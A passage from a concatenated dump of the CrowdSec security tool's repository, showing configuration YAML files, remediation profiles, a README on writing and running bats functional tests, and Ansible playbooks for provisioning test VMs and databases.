#        - "_SYSTEMD_UNIT=vsftpd.service"
#
#vsftpd-file:
#  when:
#    - Systemd.UnitInstalled("vsftpd.service") or len(Path.Glob("/var/log/vsftpd/*.log")) > 0
#    - not Systemd.UnitLogsToJournal("vsftpd.service")
#  hub_spec:
#    collections:
#      - crowdsecurity/vsftpd
#  acquisition_spec:
#    filename: vsftpd.yaml
#    datasource:
#      source: file
#      labels:
#        type: vsftpd
#      filenames:
#        - /var/log/vsftpd/*.log

---

## File: config/dev.yaml

common:
  log_media: stdout
  log_level: info
config_paths:
  config_dir: "$CONFIG_DIR"
  data_dir: "$DATA_DIR"
  notification_dir: "$CONFIG_DIR/notifications/"
  plugin_dir: "$PLUGINS_DIR"
  #simulation_path: /etc/crowdsec/config/simulation.yaml
  #hub_dir: /etc/crowdsec/hub/
  #index_path: ./config/hub/.index.json
crowdsec_service:
  acquisition_path: "$CONFIG_DIR/acquis.yaml"
  parser_routines: 1
plugin_config:
  user: "$USER"  # plugin process would be ran on behalf of this user
  group: "$USER" # plugin process would be ran on behalf of this group
cscli:
  output: human
db_config:
  type: sqlite
  db_path: "$DATA_DIR/crowdsec.db"
  user: root
  password: crowdsec
  db_name: crowdsec
  host: "172.17.0.2"
  port: 3306
  flush:
    #max_items: 10000
    #max_age: 168h
api:
  client:
    credentials_path: "$CONFIG_DIR/local_api_credentials.yaml"
  server:
    console_path: "$CONFIG_DIR/console.yaml"
    #insecure_skip_verify: true
    listen_uri: 127.0.0.1:8081
    profiles_path: "$CONFIG_DIR/profiles.yaml"
    tls:
      #cert_file: ./cert.pem
      #key_file: ./key.pem
    online_client: # Central API
      credentials_path: "$CONFIG_DIR/online_api_credentials.yaml"
prometheus:
  enabled: true
  level: full

---

## File: config/local_api_credentials.yaml

url: http://127.0.0.1:8080

---

## File: config/online_api_credentials.yaml

[Empty file]

---

## File: config/profiles.yaml

name: default_ip_remediation
#debug: true
filters:
 - Alert.Remediation == true && Alert.GetScope() == "Ip"
decisions:
 - type: ban
   duration: 4h
#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)
# notifications:
#   - slack_default  # Set the webhook in /etc/crowdsec/notifications/slack.yaml before enabling this.
#   - splunk_default # Set the splunk url and token in /etc/crowdsec/notifications/splunk.yaml before enabling this.
#   - http_default   # Set the required http parameters in /etc/crowdsec/notifications/http.yaml before enabling this.
#   - email_default  # Set the required email parameters in /etc/crowdsec/notifications/email.yaml before enabling this.
on_success: break
---
name: default_range_remediation
#debug: true
filters:
 - Alert.Remediation == true && Alert.GetScope() == "Range"
decisions:
 - type: ban
   duration: 4h
#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)
# notifications:
#   - slack_default  # Set the webhook in /etc/crowdsec/notifications/slack.yaml before enabling this.
#   - splunk_default # Set the splunk url and token in /etc/crowdsec/notifications/splunk.yaml before enabling this.
#   - http_default   # Set the required http parameters in /etc/crowdsec/notifications/http.yaml before enabling this.
#   - email_default  # Set the required email parameters in /etc/crowdsec/notifications/email.yaml before enabling this.
on_success: break

---

## File: config/simulation.yaml

simulation: false
# exclusions:
#  - crowdsecurity/ssh-bf

---

## File: config/user.yaml

common:
  log_media: stdout
  log_level: info
  log_dir: /var/log/
config_paths:
  config_dir: /etc/crowdsec/
  data_dir: /var/lib/crowdsec/data
  #simulation_path: /etc/crowdsec/config/simulation.yaml
  #hub_dir: /etc/crowdsec/hub/
  #index_path: ./config/hub/.index.json
crowdsec_service:
  #acquisition_path: ./config/acquis.yaml
  parser_routines: 1
cscli:
  output: human
db_config:
  type: sqlite
  db_path: /var/lib/crowdsec/data/crowdsec.db
  user: crowdsec
  #log_level: info
  password: crowdsec
  db_name: crowdsec
  host: "127.0.0.1"
  port: 3306
api:
  client:
    insecure_skip_verify: false # default true
    credentials_path: /etc/crowdsec/local_api_credentials.yaml
  server:
    #log_level: info
    listen_uri: 127.0.0.1:8080
    profiles_path: /etc/crowdsec/profiles.yaml
    online_client: # Central API
      credentials_path: /etc/crowdsec/online_api_credentials.yaml
prometheus:
  enabled: true
  level: full

---

## File: config/windows-dev.yaml

common:
  log_media: stdout
  log_level: info
config_paths:
  config_dir: "%CONFIG_DIR%"
  data_dir: "%DATA_DIR%"
  notification_dir: "%CONFIG_DIR%/notifications/"
  plugin_dir: "%PLUGINS_DIR%"
  #simulation_path: /etc/crowdsec/config/simulation.yaml
  #hub_dir: /etc/crowdsec/hub/
  #index_path: ./config/hub/.index.json
crowdsec_service:
  acquisition_path: "%CONFIG_DIR%/acquis.yaml"
  parser_routines: 1
plugin_config:
  user: "%USERNAME%"  # plugin process would be ran on behalf of this user
  group: "%USERNAME%" # plugin process would be ran on behalf of this group
cscli:
  output: human
db_config:
  type: sqlite
  db_path: "%DATA_DIR%/crowdsec.db"
  user: root
  password: crowdsec
  db_name: crowdsec
  host: "172.17.0.2"
  port: 3306
  flush:
    #max_items: 10000
    #max_age: 168h
api:
  client:
    credentials_path: "%CONFIG_DIR%/local_api_credentials.yaml"
  server:
    console_path: "%CONFIG_DIR%/console.yaml"
    #insecure_skip_verify: true
    listen_uri: 127.0.0.1:8081
    profiles_path: "%CONFIG_DIR%/profiles.yaml"
    tls:
      #cert_file: ./cert.pem
      #key_file: ./key.pem
    online_client: # Central API
      credentials_path: "%CONFIG_DIR%/online_api_credentials.yaml"
prometheus:
  enabled: true
  level: full

---

## File: test/README.md

# What is this?

This directory contains scripts for functional testing. They complement
the unit tests and provide an environment that can be used during development
as well.

The tests are run with the [bats-core](https://github.com/bats-core/bats-core)
framework, which is provided as git submodules in the crowdsec repository.

With the addition of [the ansible playbooks](ansible/README.md) it is possible
to use VMs to test the binary packages, service management and other CPU
architectures.

# How to use it

## pre-requisites

(for building crowdsec)

- `go`
- `pkg-config`
- `re2`

On Ubuntu/Debian, you can install the above with:

```console
$ sudo apt install pkgconf golang-go libre2-dev
...
```

(for the test suite)

- `git submodule init; git submodule update`
- `bash>=4.4`
- `curl`
- `daemonize`
- `jq`
- `python3`

These can be installed with

```console
$ sudo apt install bash curl daemonize jq python3
...
```

Additional dependencies are required if you need to test with mysql or postgres
(see below).

## Running the tests

Run `make clean bats-all` to perform a test build + run.

If a test is failing, you can run only the script that contains it with

```console
$ ./test/run-tests test/bats/<script>.bats
...
```

After changing the code, rebuild the binaries with `make bats-build` and re-run
the test to verify.

Most tests are isolated, you don't need to run all the script:
see `./test/run-tests --help` for all the options.

Example: `./test/run-tests test/bats/02_nolapi.bats -f "cscli config backup"`
(the string is a regexp).
You need to provide a path for a test file or directory (even if it's the full 'test/bats')
to use the `-f` option.

Keep in mind that some of the files in test/bats are meant as a "test suite" so
the individual tests will fail when run in isolation, or out of order.

Do not attempt to run the functional tests in parallel since they reuse
the same file locations.

# Writing tests

In BATS, you write tests in the form of Bash functions that have unique
descriptions (the name of the test). You can do most things that you can
normally do in a shell function. When an error is encountered, the test
fails. A set of functions is provided to implement assertions, and a mechanism
of `setup`/`teardown` is provided at the level of individual tests (functions)
or group of tests (files).

The stdout/stderr of the commands within the test function are captured by
bats-core and will only be shown if the test fails. If you want to always print
something to debug your test case, you can redirect the output to the file
descriptor 3:

```sh
@test "mytest" {
   echo "hello world!" >&3
   run some-command
   assert_success
   echo "goodbye." >&3
}
```

If you do that, please remove it once the test development is finished, because
this practice breaks the TAP protocol (unless each line has a '#' as first
character, but really, it's better to avoid unnecessary output when tests succeed).

You can find here the documentation for the main framework and the plugins
we use in this test suite:

- [bats-core tutorial](https://bats-core.readthedocs.io/en/stable/tutorial.html)
- [Writing tests](https://bats-core.readthedocs.io/en/stable/writing-tests.html)
- [bats-assert](https://github.com/bats-core/bats-assert)
- [bats-support](https://github.com/bats-core/bats-support)
- [bats-file](https://github.com/bats-core/bats-file)

# setup and teardown

If you have read the bats-core tutorial linked above, you are aware of the
`setup` and `teardown` functions.

What you may have overlooked is that the script body outside the functions is
executed multiple times, so we have to be careful of what we put there.

Here we have a look at the execution flow with two tests:

```sh
echo "begin" >&3

setup_file() {
        echo "setup_file" >&3
}

teardown_file() {
        echo "teardown_file" >&3
}

setup() {
        echo "setup" >&3
}

teardown() {
        echo "teardown" >&3
}

@test "test 1" {
        echo "test #1" >&3
}

@test "test 2" {
        echo "test #2" >&3
}

echo "end" >&3
```

The above test suite produces the following output:

```
begin
end
setup_file
begin
end
 ✓ test 1
setup
test #1
teardown
begin
end
 ✓ test 2
setup
test #2
teardown
teardown_file
```

See how "begin" and "end" are repeated three times each? The code outside
setup/teardown/test functions is really executed three times (more as you add
more tests). You can put there variables or function definitions, but keep it
to a minimum and [don't write anything to the standard
output](https://bats-core.readthedocs.io/en/stable/writing-tests.html#code-outside-of-test-cases).
For most things you want to use `setup_file()` instead.

But.. there is a but. Quoting from [the FAQ](https://bats-core.readthedocs.io/en/stable/faq.html):

> You can simply source <your>.sh files. However, be aware that source`ing
> files with errors outside of any function (or inside `setup_file) will trip
> up bats and lead to hard to diagnose errors. Therefore, it is safest to only
> source inside setup or the test functions themselves.

This doesn't mean you can't do that, just that you're on your own if the is an error.

# Testing crowdsec

## Fixtures

For the purpose of functional tests, crowdsec and its companions (cscli, plugin
notifiers, bouncers) are installed in a local environment, which means tests
should not install or touch anything outside a `./test/local` directory. This
includes binaries, configuration files, databases, data downloaded from
internet, logs... The use of `/tmp` is tolerated, but BATS also provides [three
useful
variables](https://bats-core.readthedocs.io/en/stable/writing-tests.html#special-variables):
`$BATS_SUITE_TMPDIR`, `$BATS_FILE_TMPDIR` and `$BATS_TEST_TMPDIR` that let you
ensure your desired level of isolation of temporary files across the tests.

When built with `make bats-build`, the binaries will look there by default for
their configuration and data needs. So you can run `./local/bin/cscli` from
a shell with no need for further parameters.

To set up the installation described above we provide a couple of scripts,
`instance-data` and `instance-crowdsec`. They manage fixture and background
processes; they are meant to be used in setup/teardown in several ways,
according to the specific needs of the group of tests in the file.

- `instance-data make`

   Creates a tar file in `./local-init/init-config-data.tar`.
   The file contains all the configuration, hub and database files needed
   to restore crowdsec to a known initial state.
   Things like `machines add ...`, `capi register`, `hub update`, `collections
   install crowdsecurity/linux` are executed here so they don't need to be
   repeated for each test or group of tests.

- `instance-data load`

   Extracts the files created by `instance-data make` for use by the local
   crowdsec instance. Crowdsec must not be running while this operation is
   performed.

- instance-data lock/unlock

When playing around with a local crowdsec installation, you can run "instance-data lock"
to prevent the bats suite from running, so it won't overwrite your configuration or data.

- `instance-crowdsec [ start | stop ]`

   Runs (or stops) crowdsec as a background process. PID and lockfiles are
   written in `./local/var/run/`.

Here are some ways to use these two scripts.

- case 1: load a fresh crowdsec instance + data for each test (01_base, 10_bouncers, 20_collections...)

    This offers the best isolation, but the tests run slower. More importantly,
    since there is no concept of "grouping" tests in bats-core with the exception
    of files, if you need to perform some setup that is common to two or more
    tests, you will have to repeat the code.

- case 2: load a fresh set of data for each test, but run crowdsec only for
   the tests that need it, possibly after altering the configuration
   (02_nolapi, 03_noagent, 04_nocapi, 40_live-ban)

    This is useful because: 1) you sometimes don't want crowdsec to run at all,
    for example when testing `cscli` in isolation, or you may want to tweak the
    configuration inside the test function before running the lapi/agent. See
    how we use `yq` to change the YAML files to that effect.

- case 3: start crowdsec with the initial set of configuration+data once, and keep it
   running for all the tests (50_simulation, 98_ipv4, 98_ipv6)

     This offers no isolation across tests, which over time could break more
     often as result, but you can rely on the test order to test more complex
     scenarios with a reasonable performance and the least amount of code.

## status, stdout and stderr

As we said, if any error occurs inside a test function, the test
fails immediately. You call `mycommand`, it exits with $? != 0, the test fails.

But how to test the output, then? If we call `run mycommand`, then $? will be 0
allowing the test to keep running. The real error status is stored in the
`$status` variable, and the command output and standard error content are put
together in the `$output` variable. By specifying `run --separate-stderr`, you
can have separated `$output` and `$stderr` variables.

The above is better explained in the bats-core tutorial. If you have not read it
yet, now is a good time.

For convenience, the `rune` function is an alias for `run --separate-stderr`, which
can be used in most cases. For example, you don't want extraneous log messages in
the way when you check the output of a command.

The `$output` variable gets special treatment with the
[bats-support](https://github.com/bats-core/bats-support) and
[bats-assert][https://github.com/bats-core/bats-assert) plugins and can be
checked with `assert_*` commands. The `$stderr` variable does not have these,
but we can use `run echo "$stderr"` and then check `$output` with asserts.

Remember that `run` always overwrites the `$output` variable, so if you consume
it with `run jq <(output)` you can only do it once, because the second time it
will read the output of the `jq` command. But you can construct a list of all
the values you want and check them all in a single step.

Note that `<(output)` is substituted with the file name of a file descriptor,
so `mycmd <(output)` can become `mycmd /dev/fd/23`, `mycmd /tmp//sh-np.hpc7Zs`
or `mycmd /proc/self/fd/38` depending on the platform. To have it fed to
standard input, use `< <(output)`.

See the `lib/*.sh` and `bats/*.bats` files for other tricks we employ.

## file operations

We included the [bats-file](https://github.com/bats-core/bats-file) plugin to
check the result of file system operations: existence, type/size/ownership checks
on files, symlinks, directories, sockets.

## gotchas

- pay attention to tests that are not run - for example "bats warning: Executed 143
   instead of expected 144 tests". They are especially tricky to debug.

- using the `load` command in `teardown()` causes tests to be silently skipped or break in "funny"
   ways. The other functions seem safe.

# Testing with MySQL and Postgres

By default, the tests are run with the embedded sqlite database engine. This should be
enough in most cases, since the database operations are abstracted via the `ent` ORM.

You can however easily test with a different engine.

## Postgres

Run Postgres somewhere, version 10 or above - easy to do in a docker container.

You also need to install a postgresql-client package or equivalent, to provide
recent pg_dump and pg_restore executables (not older than the PG version in the docker container).

```console
$ sudo docker run --detach --name=postgres -p 5432:5432 --env="POSTGRES_PASSWORD=postgres" postgres:latest
```

The name of the container is not really important.
If you are not using Docker, you may need to adjust the `PGHOST`/`PGPORT`/`PGPASSWORD`/`PGUSER` variables
(defaults are 127.0.0.1, 5432, postgres, postgres).

An additional user and database both named `crowdsec_test` will be created.

Now you can build and run the tests:

```
$ export DB_BACKEND=pgx
$ make clean bats-build bats-fixture bats-test
```

The value of DB_BACKEND must not change between the build/fixture/test steps.

## MySQL/MariaDB

Same considerations as above, with the following changes:

```
$ sudo docker run --cap-add=sys_nice --detach --name=mysql -p 3306:3306  --env="MYSQL_ROOT_PASSWORD=password" mysql
[...]
$ export DB_BACKEND=mysql
$ make clean bats-build bats-fixture bats-test
```

or for MariaDB

```
$ sudo docker run --cap-add=sys_nice --detach --name=mariadb -p 3306:3306  --env="MYSQL_ROOT_PASSWORD=password" mariadb
```

A mysql-client package is required as well.

## troubleshooting

- CAPI is disabled, why?
Most tests don't need it. Helper scripts are provided in `test/enable-capi`
and `test/disable-capi` for interactive use, and two library functions
`config_enable_capi` and `config_disable_capi` to call inside the tests.
You still need to call `cscli capi register` after enabling it.

- My tests are hanging forever, why?
See if you have a jq/yq or similar process waiting for standard input. Hint:
you can pass a file from the result of the previous `run` command with
`<(output)`. This substitutes the expression with a file name, but if you
really want it in standard input, you have to use `< <(output)`. Bash is
awesome but the syntax is often weird.

- I can't do X with jq.
If you prefer you can use yq. It can parse and generate json, and it has a
different syntax.

- I get "while parsing /tmp/....: yaml: line 5: mapping values are not allowed in this context"
Check the heredocs (the <<EOT blocks). Each line must start with a hard TAB
followed by spaces. You are probably missing some tabs.

---

## File: test/ansible/README.md

# Ansible playbooks for functional testing

These playbooks allow you to test crowdsec in a real environment, where the
application is running as root, deployed with the OS package manager, and
uses the standard init system for the distribution (systemd or other).

This way, you can test not only the application's feature but also the packaging
boilerplate, integration scripts, and compatibility with new distribution releases,
operating systems, or architectures.

The ansible hosts should be expendable machines with at least 1GB RAM, do not
expect them to be stable if you use them for anything else after the tests.

Install (or update) the requirements with `ansible-galaxy install -r requirements.yml --force`.

There are several Ansible playbooks. You can use `run-all.yml` to configure the
installation and run the tests, or run the playbooks separately to iterate while developing.

- run-all.yml: run the other playbooks in the correct order.

- provision-dependencies.yml: install the bats requirements (bash, cfssl, etc.), compilers, and database.

- provision-test-suite.yml: install the tests scripts and bats environment, and the crowdsec sources if we want to build the `crowdsec under test`.

- install_binary_package.yml: install the `crowdsec under test` from a binary package (already released or not).

- prepare-tests.yml: create the test fixture data.

- run-tests.yml: run the functional tests. This is not idempotent and can be run multiple times.

The tasks use the following environment variables. They must be exported or
ansible won't be able to see them.

- `TEST_SUITE_GIT` (default "https://github.com/crowdsecurity/crowdsec"),
  `TEST_SUITE_VERSION` (default "master"): repo URL and branch/tag/commit of
  the crowdsec sources containing the test fixture and scripts.

- `TEST_SUITE_ZIP`: optional, archive of a `crowdsecurity/crowdsec` repository
  containing the test fixture and scripts. Overrides `TEST_SUITE_GIT` and
  `TEST_SUITE_VERSION`. It can be created with `zip -r crowdsec.zip .` from
  the root directory of the repository.

- `DB_BACKEND`: Required. Set to "sqlite", "pgx", "mysql", "postgres".
  Postgres is automatically provisioned when required. There is no
  provisioning code for mysql/mariadb yet, but it can be added.

- `PACKAGE_TESTING`: when set to false or not defined, the crowdsec binaries
  to be tested are built from the sources that come from `TEST_SUITE_GIT` or
  `TEST_SUITE_ZIP`. Crowdsec is then run as non-root, in a local directory.
  This is basically a fancy wrapper to run `make bats-test` in a vm.
  When `PACKAGE_TESTING` is set to true, however, crowdsec is installed from
  a binary package (see variables below), it is run as root from systemd (or
  equivalent) and uses the system-wide `/etc/crowdsec` and `/var/lib`
  directories to store the test data.

- `TEST_PACKAGE_VERSION_DEB`, `TEST_PACKAGE_VERSION_RPM`: Optional, the
  version of the package under test (ex. "1.4.0-rc5"), can be in the
  packagecloud "stable" or "testing" repository. Requires
  `PACKAGE_TESTING=true`. You must set both variables to reuse the same set of
  variables for Debian and RedHat-based distributions, because stable releases
  require a package version suffix in the RPM file names.

- `TEST_PACKAGE_FILE`: optional, file pointing to the package under test (.deb,
  .rpm, .pkg...). It can be a glob expression but it must match a single file,
  and the pattern works only on the filename. If both `TEST_PACKAGE_VERSION_*`
  and `TEST_PACKAGE_FILE` are provided, both are be installed (to test upgrades
  for example). Requires `PACKAGE_TESTING=true`

- `TEST_PACKAGE_DIR`: optional (but conflicts with `TEST_PACKAGE_FILE`), the path
  to a directory containing packages with the following layout:

  For DEB: `{{ package_dir }}/{{ ansible_distribution_release }}/crowdsec_*_{{ ansible_architecture.replace('x86_64', 'amd64') }}.deb`
  For RPM: `{{ package_dir }}/{{ releasever }}/RPMS/{{ ansible_architecture }}/crowdsec-*.{{ releasever }}.{{ ansible_architecture }}.rpm`

- `TEST_SKIP`: optional, comma-separated list of scripts that won't be executed.
  Example: `TEST_SKIP=02_nolapi.bats,03_noagent.bats`

## Running tests with Vagrant + Ansible

You don't need Vagrant to run the ansible tests, if you can manage your own
vm creation and inventory.

However, to avoid relying on (and paying for..) a public cloud, we wrote vagrant
configuration files for the most common distributions we support.

To test with Vagrant, you need to:

- have a working libvirt environment (if you can use virt-manager to create VMs, you're golden)

- install the vagrant-libvirt plugin (`vagrant plugin install vagrant-libvirt`.
  If it complains about gem versions, blame Ruby and see if you can remove some
  other conflicting plugin).

- copy one of the `./env/*.sh` scripts to `environment.sh`, edit to your
  needs, and execute it with "source environment.sh"

- `cd vagrant/<distro-of-your-choice>`

- `vagrant up --no-provision; vagrant provision`. The first command creates
  the VM, the second installs all the dependencies, test suite and package
  under test, then runs the tests. If you run a plain `vagrant up`, it does
  everything with a single command, but also destroys the VM in case of test
  failure so you are left with nothing to debug.

- `vagrant destroy` when you want to remove the VM. If you want to free up the
  space taken by the base VM images, they are in
  `/var/lib/libvirt/images/*VAGRANT*`

The above steps are automated in the script `./prepare-run` (requires bash
>=4.4). It takes an environment file, and optionally a list of directories with
vagrant configurations. With a single parameter, it loops over all the
directories in alphabetical order, excluding those in the `experimental`
directory. Watch out for running VMs if you break the loop by hand.

After this, you will find up to 30GB of base images in `/var/lib/libvirt/images`,
which you need to remove by hand when you have finished testing or leave them
around for the next time.

You can give more memory or CPU juice to the VMs by editing [Vagrantfile.common](vagrant/common).

## Test Matrix

Tests fail with unsupported configurations or when the environment is not prepared correctly
due to missing setup/teardown parts in Ansible or functional tests. False positives
are also possible due to timing issues or flaky network connections.

If you have a result that deviates from the following matrix, that's probably a genuine bug or regression.
The data was created with crowdsec v1.4.1.

|                           | source/sqlite | pkg/sqlite | source/postgres | source/pgx | source/mysql (0) |
| ------------------------- | ------------- | ---------- | --------------- | ---------- | ---------------- |
| AmazonLinux 2             | ✓ (1)         | ✓ (1)      | old-db          | old-db     | wip              |
| CentOS 7                  | ✓             | ✓          | old-db          | old-db     | ✓                |
| CentOS 8                  | ✓             | ✓          | ✓               | ✓          | ✓                |
| CentOS 9                  | ✓             | ✓          | ✓               | ✓          | ✓                |
| Debian 9 (stretch)        | ✓             | ✓          | old-db          | old-db     | wip              |
| Debian 10 (buster)        | ✓             | ✓          | ✓               | ✓          | ✓                |
| Debian 11 (bullseye)      | ✓             | ✓          | ✓               | ✓          | ✓                |
| Debian (testing/bookworm) | ✓             | ✓          | ✓               | ✓          | wip              |
| Fedora 33                 | ✓             | ✓          | wip             | wip        | wip              |
| Fedora 34                 | ✓             | ✓          | ✓               | ✓          | wip              |
| Fedora 35                 | ✓             | ✓          | ✓               | ✓          | wip              |
| Fedora 36                 | ✓             | ✓          | ✓               | ✓          | wip              |
| FreeBSD 12                | ✓             | wip        | wip             | wip        | wip              |
| FreeBSD 13                | ✓             | wip        | wip             | wip        | wip              |
| Oracle 7                  | ✓             | ✓          | old-db          | old-db     | ✓                |
| Oracle 8                  | ✓             | ✓          | ✓               | ✓          | ✓                |
| Ubuntu 16.04 (xenial)     | ✓             | ✓          | old-db          | old-db     | ✓                |
| Ubuntu 18.04 (bionic)     | ✓             | ✓          | ✓               | ✓          | ✓                |
| Ubuntu 20.04 (focal)      | ✓             | ✓          | ✓               | ✓          | ✓                |
| Ubuntu 22.04 (jammy)      | ✓             | ✓          | ✓               | ✓          | ✓                |
|                           |               |            |                 |            |                  |

Note: all tests with `local/<database>` are expected to pass for `pkg/<database>` as well.

wip - missing ansible or bats parts, could be fixed in a future release

old-db - the database that ships with the distribution is not supported
(Postgres < 10). Won't fix, feel free to install the DB from an unofficial
repository.

0 - MySQL or MariaDB, depending on distribution defaults

1 - ansible may hang, passes all tests if run by hand

---

## File: test/ansible/debug_tools.yml

# vim: set ft=yaml.ansible:
---

- name: "Install debug tools"
  hosts: all
  become: true
  tasks:
    - name: "Install debug tools"
      ansible.builtin.apt:
        pkg:
          - kitty
          - neovim
          - zsh
          - zsh-autosuggestions
          - zsh-syntax-highlighting
          - zsh-theme-powerlevel9k
          - silversearcher-ag
      when:
        - ansible_facts.os_family == "Debian"

---

## File: test/ansible/install_binary_package.yml

# vim: set ft=yaml.ansible:
---

- name: "Install and set up binary crowdsec package..."
  hosts: all
  gather_facts: true
  tasks:

    - name: "Hardcode master branch for the hub, temporary override before install (config.yaml.local)"
      become: true
      block:
        - name: "Create /etc/crowdsec"
          ansible.builtin.file:
            path: "/etc/crowdsec"
            state: directory
            mode: 0o0755
        - name: "Create /etc/crowdsec/config.yaml.local"
          ansible.builtin.copy:
            dest: "/etc/crowdsec/config.yaml.local"
            content: "{{ config_yaml_local | to_nice_yaml }}"
            mode: 0o600
          vars:
            config_yaml_local:
              cscli:
                hub_branch: master
      when:
        - (package_version_deb | length > 0) or
          (package_version_rpm | length > 0) or
          (package_file | length > 0) or
          (package_dir | length > 0)

    - name: "Install crowdsec binaries from a binary repository"
      ansible.builtin.include_role:
        name: crowdsecurity.testing.install_package_from_repo
      when: (package_version_deb | length > 0) or
            (package_version_rpm | length > 0)

    - name: "Install crowdsec binaries from a package file"
      ansible.builtin.include_role:
        name: crowdsecurity.testing.install_package_from_file
      when: package_file | length > 0

    - name: "Install crowdsec binaries from a package directory"
      ansible.builtin.include_role:
        name: crowdsecurity.testing.install_package_from_pkgdir
      when: package_dir | length > 0

    - name: "Hardcode master branch for the hub, for real this time"
      become: true
      block:
        - name: "Read config.yaml"
          ansible.builtin.slurp:
            path: "/etc/crowdsec/config.yaml"
          register: config_yaml
        - name: "Create fact from config.yaml"
          ansible.builtin.set_fact:
            config_data: "{{ config_yaml['content'] | b64decode | from_yaml }}"
        - name: "Patch dictionary"
          ansible.builtin.set_fact:
            config_data: "{{ config_data | combine(config_patch, recursive=True) }}"
          vars:
            config_patch:
              cscli:
                hub_branch: master
        - name: "Write patched config.yaml"
          ansible.builtin.copy:
            content: '{{ config_data | to_nice_yaml }}'
            dest: "/etc/crowdsec/config.yaml"
            # preserve mode to be able to test permissions from package
            mode: preserve
        - name: "Remove config.yaml.local"
          ansible.builtin.file:
            path: "/etc/crowdsec/config.yaml.local"
            state: absent
      when:
        - (package_version_deb | length > 0) or
          (package_version_rpm | length > 0) or
          (package_file | length > 0) or
          (package_dir | length > 0)

    # this is required to avoid fatal errors in case systemctl is not working
    # (which happens on some aws instances)
    - name: "Override acquis.yaml for package testing"
      become: true
      ansible.builtin.copy:
        dest: "/etc/crowdsec/acquis.yaml"
        content: "{{ acquis_yaml | to_nice_yaml }}"
        mode: preserve
      vars:
        acquis_yaml:
          filenames:
            - /tmp/should-not-exist.log
          labels:
            type: syslog
            force_inotify: true
      when:
        - (package_version_deb | length > 0) or
          (package_version_rpm | length > 0) or
          (package_file | length > 0) or
          (package_dir | length > 0)

  vars:
    package_version_deb: >-
      {{ lookup('ansible.builtin.env', 'TEST_PACKAGE_VERSION_DEB') }}
    package_version_rpm: >-
      {{ lookup('ansible.builtin.env', 'TEST_PACKAGE_VERSION_RPM') }}
    package_file: >-
      {{ lookup('ansible.builtin.env', 'TEST_PACKAGE_FILE') }}
    package_dir: >-
      {{ lookup('ansible.builtin.env', 'TEST_PACKAGE_DIR') }}
    binary_package_name: >-
      crowdsec

---

## File: test/ansible/prepare_tests.yml

# vim: set ft=yaml.ansible:
---

- name: "Prepare fixture for the functional tests"
  hosts: all
  gather_facts: true
  vars_files:
    - vars/go.yml
    - vars/mysql.yml
    - vars/postgres.yml
  roles:
    - name: make_fixture
      environment:
        PGHOST: 127.0.0.1
        PGPORT: 5432
        PGPASSWORD: "{{ postgresql_users[0].password }}"
        PGUSER: postgres
        MYSQL_HOST: localhost
        MYSQL_PORT: 3306
        MYSQL_PASSWORD: "{{ mysql_root_password }}"
        MYSQL_USER: "root"

---

## File: test/ansible/provision_dependencies.yml

# vim: set ft=yaml.ansible:
---

- name: "Fix EOL'd centos Stream 8"
  hosts: all
  tasks:
    - name: "update repositories file"
      ansible.builtin.find:
        paths: /etc/yum.repos.d
        patterns: "*.repo"
      register: "repo_files"
      when:
        - ansible_facts.distribution == "CentOS"
        - ansible_facts.distribution_major_version == '8'
    - name: Replace old text with new text
      become: true
      ansible.builtin.replace:
        path: "{{ item.path }}"
        regexp: 'mirrorlist'
        replace: '#mirrorlist'
      loop: "{{ repo_files.files }}"
      when:
        - ansible_facts.distribution == "CentOS"
        - ansible_facts.distribution_major_version == '8'
        - repo_files.matched > 0
    - name: Replace old text with new text
      become: true
      ansible.builtin.replace:
        path: "{{ item.path }}"
        regexp: '#baseurl=http://mirror.centos.org'
        replace: 'baseurl=https://vault.centos.org'
      loop: "{{ repo_files.files }}"
      when:
        - ansible_facts.distribution == "CentOS"
        - ansible_facts.distribution_major_version == '8'
        - repo_files.matched > 0

- name: "Install required packages"
  hosts: all
  vars_files:
    - vars/go.yml
  roles:
    - crowdsecurity.testing.apt_update
    - crowdsecurity.testing.go
    - crowdsecurity.testing.machine_id
    - crowdsecurity.testing.epel
    - crowdsecurity.testing.git
    - crowdsecurity.testing.gcc
    - crowdsecurity.testing.gnu_make
    - crowdsecurity.testing.pkg_config
    - crowdsecurity.testing.re2
    - crowdsecurity.testing.bats_requirements

- name: "Install recent python"
  hosts: all
  vars_files:
    - vars/python.yml
  tasks:
    - name: role "crowdsecurity.testing.python3"
      ansible.builtin.include_role:
        name: crowdsecurity.testing.python3
      when:
        - ansible_facts.distribution in ['CentOS', 'OracleLinux']
        - ansible_facts.distribution_major_version == '8' or ansible_facts.distribution_major_version == '7'


- name: "Install Postgres"
  hosts: all
  become: true
  vars_files:
    - vars/postgres.yml
  tasks:
    - name: role "geerlingguy.postgresql"
      ansible.builtin.include_role:
        name: geerlingguy.postgresql
      ## enable this for debugging
      # vars:
      #  postgres_users_no_log: false
      when:
        - lookup('ansible.builtin.env', 'DB_BACKEND') in ['pgx', 'postgres']

- name: "Install MySQL"
  hosts: all
  become: true
  vars_files:
    - vars/mysql.yml
  tasks:
    - name: role "geerlingguy.mysql"
      ansible.builtin.include_role:
        name: geerlingguy.mysql
      when:
        - lookup('ansible.builtin.env', 'DB_BACKEND') == 'mysql'

---

## File: test/ansible/provision_test_suite.yml

# vim: set ft=yaml.ansible:
---

- name: "Fetch the test scripts"
  hosts: all
  tasks:

    - name: "Fetch the sources from a git repository"
      ansible.builtin.include_role:
        name: crowdsecurity.testing.download_sources_from_git
      when: sources_zip | length == 0

    - name: "Extract the sources from a zip archive"
      ansible.builtin.include_role:
        name: crowdsecurity.testing.extract_sources_from_zip
      when: sources_zip | length > 0

    - name: "Create crowdsec test/local dir"
      become: false
      ansible.builtin.file:
        path: "{{ ansible_env.HOME }}/crowdsec/test/local"
        state: directory
        mode: 0o755

  vars:
    sources_dest_dir: "{{ ansible_env.HOME }}/crowdsec"
    sources_git_repo: >-
      {{ lookup('ansible.builtin.env', 'TEST_SUITE_GIT')
      | default('https://github.com/crowdsecurity/crowdsec', True) }}
    sources_git_version: >-
      {{ lookup('ansible.builtin.env', 'TEST_SUITE_VERSION')
      | default('master', True) }}
    sources_zip: >-
      {{ lookup('ansible.builtin.env', 'TEST_SUITE_ZIP') }}

---

## File: test/ansible/requirements.yml

# vim: set ft=yaml.ansible:
---

roles:
  - src: geerlingguy.mysql
  - src: https://github.com/crowdsecurity/ansible-role-postgresql
    version: crowdsec
    name: geerlingguy.postgresql
  # these should be included as dependencies of crowdsecurity.testing, but sometime are not
  - src: geerlingguy.repo-epel
